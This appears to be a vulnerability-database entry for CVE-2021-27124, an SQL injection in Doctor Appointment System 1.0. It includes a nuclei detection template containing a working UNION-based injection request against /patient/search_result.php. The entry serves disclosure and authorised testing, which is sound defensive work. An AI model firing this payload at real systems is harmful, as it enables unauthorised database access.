Browse / CVEs / CVE-2021-27124
CVE-2021-27124· doctor appointment system project / doctor appointment system· CWE-89
Doctor Appointment System 1.0 - SQL Injection
mediumseverity
6.5CVSS score
5.8%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it
SQL injection in the expertise parameter in search_result.php in Doctor Appointment System v1.0.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
Fix
Upgrade to the latest version to mitigate this vulnerability.
How to confirm it
Send: POST /patient/search_result.php
Positive when: contains "c8c605999f3d8352d7bb792cf3fdb25b" and "Doctor Appoinment System" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-27124 -u <target>
The full check
id: CVE-2021-27124
info:
name: Doctor Appointment System 1.0 - SQL Injection
author: theamanrawat
severity: medium
description: |
SQL injection in the expertise parameter in search_result.php in Doctor Appointment System v1.0.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
- https://packetstormsecurity.com/files/161342/Doctor-Appointment-System-1.0-SQL-Injection.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-27124
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2021-27124
cwe-id: CWE-89
epss-score: 0.05831
epss-percentile: 0.93225
cpe: cpe:2.3:a:doctor_appointment_system_project:doctor_appointment_system:1.0:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 1
vendor: doctor_appointment_system_project
product: doctor_appointment_system
tags: cve2021,cve,packetstorm,sqli,doctor-appointment-system,doctor_appointment_system_project,vuln
http:
- raw:
- |
POST /patient/search_result.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
expertise=Heart'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,md5('999999999'),NULL,NULL,NULL,NULL,NULL,NULL--+-&submit=
matchers-condition: and
matchers:
- type: word
part: body
words:
- "c8c605999f3d8352d7bb792cf3fdb25b"
- "Doctor Appoinment System"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
- https://packetstormsecurity.com/files/161342/Doctor-Appointment-System-1.0-SQL-Injection.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-27124
Use this check only on systems you are authorised to test. Where the data comes from